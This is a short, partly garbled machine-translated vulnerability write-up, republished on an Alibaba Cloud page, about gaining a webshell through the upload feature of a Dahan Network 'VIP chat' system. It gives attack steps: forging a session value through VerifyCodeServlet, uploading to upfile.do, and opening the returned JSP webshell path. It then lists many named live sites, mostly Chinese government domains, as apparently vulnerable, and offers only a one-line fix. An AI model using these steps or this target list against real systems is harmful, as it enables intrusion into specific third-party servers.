Analysis of getshell vulnerability in VIP chat uploading on Dahan Network

Source: Internet
Author: User

Analysis of getshell vulnerability in VIP chat uploading on Dahan Network

Dahan network vipchat upload getshell Vulnerability

Step 1: forge the session value: clusterid

Address:/vipchat/VerifyCodeServlet? Var = clusterid

Send request: http://www.notedyy.com/vipchat/VerifyCodeServlet? Var = clusterid



Step 2: Construct the upload:

Address:/vipchat/servlet/upfile. do
 

Send request:



View the returned value, including the webshell path.
 

Step 3: Getshell:

Http://www.notedyy.com/vipchat/home/info/4640/subjectdesc/201509250304583550.jsp
 

 

Case: in the test of a, Huanggang City http://www.hg.gov.cn/vipchat/VerifyCodeServlet? Var = clusteridhttp: // www.hg.gov.cn/vipchat/home/info/3580/subjectdesc/201509241035074053.jsphttp://www.gzwd.gov.cnhttp://www.lzcgq.gov.cnhttp://www.sdadc.gov.cnhttp://www.sdfeeds.comhttp://www.sdsl.gov.cnhttp://www.sdvdc.gov.cnhttp://xmblh.sdxm.gov.cnhttp://www.sdbee.com http://www.xdxmw.com http://www.sdxm.gov.cn
Solution:

Restrict the File Upload type.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.